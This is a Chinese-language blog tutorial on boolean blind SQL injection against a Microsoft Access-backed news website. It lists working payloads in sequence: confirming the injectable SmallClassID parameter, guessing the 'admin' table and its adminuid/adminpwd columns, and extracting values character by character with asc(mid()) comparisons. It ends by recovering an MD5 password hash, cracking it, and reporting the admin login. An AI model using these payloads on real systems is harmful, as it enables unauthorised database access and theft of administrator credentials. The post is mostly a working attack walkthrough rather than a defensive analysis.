热门标签 | HotTags
当前位置:  开发笔记 > 后端 > 正文

access注入–盲注

1.access盲注思路:判断注入点猜解表名猜解字段名爆破字段值2.实战演示2.1判断注入点?NewsID20&BigClassID2&SmallClassID2and11?New

1. access盲注思路:



  1. 判断注入点

  2. 猜解表名

  3. 猜解字段名

  4. 爆破字段值


2. 实战演示


2.1 判断注入点



  • ?NewsID=20&BigClassID=2&SmallClassID=2 and 1=1

  • ?NewsID=20&BigClassID=2&SmallClassID=2 and 1=2

  • 如下图,可知在参数SmallClassID中存在注入点,且为数字型注入

    01_access注入 - 盲注

    02_access注入 - 盲注 - 判断注入点


2.2 猜解表名



  • 与mysql数据库不同,access数据库没有类似于mysql的information_schema这样的系统索引库,所以我们只能根据经验靠猜了,在真实的测试环境中,我们也可以通过社工的方式进行猜解

  • ?NewsID=20&BigClassID=2&SmallClassID=2 and exists(select * from admin)

  • 如下图,结果返回正常,说明在access中存在表admin

    03_access注入 - 盲注 - 猜解表名


2.3 猜解该表的字段名



  • ?NewsID=20&BigClassID=2&SmallClassID=2 and exists(select adminuid,adminpwd from admin)

  • 如下图,页面正常,说明access数据库的admin表中存在adminuid和adminpwd两字段

  • 当然也可以使用如下语句进行判断:


?NewsID=20&BigClassID=2&SmallClassID=2 and 1=(select count(*) from admin where len(adminuid)>0)


04_access注入 - 盲注 - 猜解字段名



  • 这里我提一个小技巧:就是在我们猜表的字段名时,可以通过该网站后台管理页面的表单来帮助我们猜解。一般而言,程序员在写后台登录表单时,通常会将该表单中input标签的name属性设置的同数据库中相应的字段名相同,如下图:在此次案例中就是这样。

    05_access注入 - 盲注 - 小技巧


2.4 爆破字段值


2.4.1 判断表中有多少条记录



  • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select count(*) from admin)=1

  • 如下图,页面返回正常,说明admin表中只有一条记录

    06_access注入 - 盲注 - 判断表中有多少条记录


2.4.2 爆字段的值



  • 先爆adminuid字段的值

    1. 先判断adminuid字段第一个值的长度是多少

      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 len(adminuid) from admin)=5

      • 由下图我们可以判断admin表的adminuid字段的第一个值的长度为5

        07_access注入 - 盲注 - 判断字段值的长度



    2. 先爆adminuid字段的值(可以采用二分法慢慢试,这里直接给出结论了)

      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,1,1)) from admin)=97

      • 页面返回正常,说明admin表中字段adminuid的第一个值的第一个字母为a(97是a的ascii码值)

        07_access注入 - 盲注 - 爆字段值

      • 同理可以爆出该字段第一个值的剩余字母,playload如下:

      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,2,1)) from admin)=100

      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,3,1)) from admin)=109

      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,4,1)) from admin)=105

      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,5,1)) from admin)=110



    3. 由于先前我们已经判断admin表中只有一条记录,所以无需继续爆破了



  • 再判断adminpwd字段的值

    1. 先判断adminpwd字段第一个值的长度是多少

      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 len(adminpwd) from admin)=16

      • 页面返回正常,说明admin表的adminpwd字段的第一个值的长度为16,初步推测可能是16b的MD5

        09_access注入 - 盲注 - 判断字段的长度



    2. 先爆adminuid字段的值(可以采用二分法慢慢试,这里直接给出结论了)

      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminpwd,1,1)) from admin)=55

      • 页面返回正常,说明admin表中字段adminpwd的第一个值的第一个字母为7(55是7的ascii码值)

        10_access注入 - 盲注 - 爆字段的值

      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminpwd,2,1)) from admin)=97

      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminpwd,3,1)) from admin)=53

      • .....



    3. 爆破出来的MD5值为:55 97 53 55 97 53 97 55 52 51 56 57 52 97 48 101 --> 7a57a5a743894a0e -->admin

    4. 由于先前我们已经判断admin表中只有一条记录,所以无需继续爆破了




2.5 综上所述



  • 我们后台的账号密码为:admin;admin

    11_access注入 - 盲注 - 后台



推荐阅读
author-avatar
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有